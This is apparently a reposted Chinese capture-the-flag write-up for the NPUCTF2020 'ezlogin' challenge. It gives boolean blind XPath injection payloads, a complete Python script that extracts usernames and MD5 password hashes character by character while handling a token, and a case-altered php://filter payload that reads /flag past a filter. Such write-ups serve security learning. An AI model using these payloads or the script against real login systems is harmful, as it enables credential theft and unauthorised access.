[NPUCTF2020]ezlogin
**[转载]**https://blog.csdn.net/SopRomeo/article/details/106556717
xpath注入拿到用户名和密码
bp抓个包发现
发现他提交的与常见的不同
搜索一波,发现是XPATH注入
XPATH注入讲解
把文章给出的payload放上去
'or count(/)=1 or ''='
改成2
有明显的的布尔回显(注意在重新提交的时候记得刷新下页面)
说明他根下只有一个节点
接下来是盲注了,注意他那里有个token,过期时间比较快,记得用会话保持状态带上。
测试长度
payload
'or string-length(name(/*[1]))=4 or ''='
长度为4
猜测根节点下的名称
'or substring(name(/*[1]), 1, 1)='a' or ''='
名称为root
猜测子节点的名称
'or substring(name(/root/*[1]), 1, 1)='a' or ''='
名称为accounts
account下还有两个节点
'or substring(name(/root/accounts/*[1]), 1, 1)='a' or ''='
两个节点都为:user
,
再跑user下的节点
发现第一个节点为`id
再跑跑后面的节点看看
username ,password
接着跑用户名和密码了
'or substring(/root/accounts/user/username[1]/text(), 1, 1)='a' or ''='
用户名
guest,adm1n
还有MD5加密后的密码
放上完整的exp
注意,最后要加上sleep,不然会报错too manyr equest
import requests
import re
import time
s = requests.session()
url ='http://e98ab030-909c-4465-b284-6239a40f59cc.node4.buuoj.cn:81/login.php'
head ={
#"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36",
"Content-Type": "application/xml"
}
find =re.compile('<input type="hidden" id="token" value="(.*?)" />')
strs ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
flag =''
for i in range(1,100):
for j in strs:
r = s.post(url=url)
token = find.findall(r.text)
#print(r.text)
#猜测根节点名称
payload_1 = "<username>'or substring(name(/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
#猜测子节点名称
payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
#猜测accounts的节点
payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
#猜测user节点
payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
#跑用户名和密码
payload_username ="<username>'or substring(/root/accounts/user[2]/username/text(), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
payload_password ="<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
print(payload_username)
r = s.post(url=url,headers=head,data=payload_username)
time.sleep(0.1)
if "非法操作" in r.text:
flag+=j
print(flag)
break
if "用户名或密码错误!" in r.text:
break
print(flag)
文件包含拿flag
这个地方过滤了flag,如果返回文件中有flag
的话,就会报错,一开始我发送了file=/flag
所以访问日志的时候,会返回敏感内容
重启环境再访问,成功!
然而,,,这个做法不对。文件好像并没有include这个file,而是直接显示上来的。
其实他还过滤了read
接着就是大小绕过
phP://filter/convert.bAse64-encode/resource=/flag
Comments | NOTHING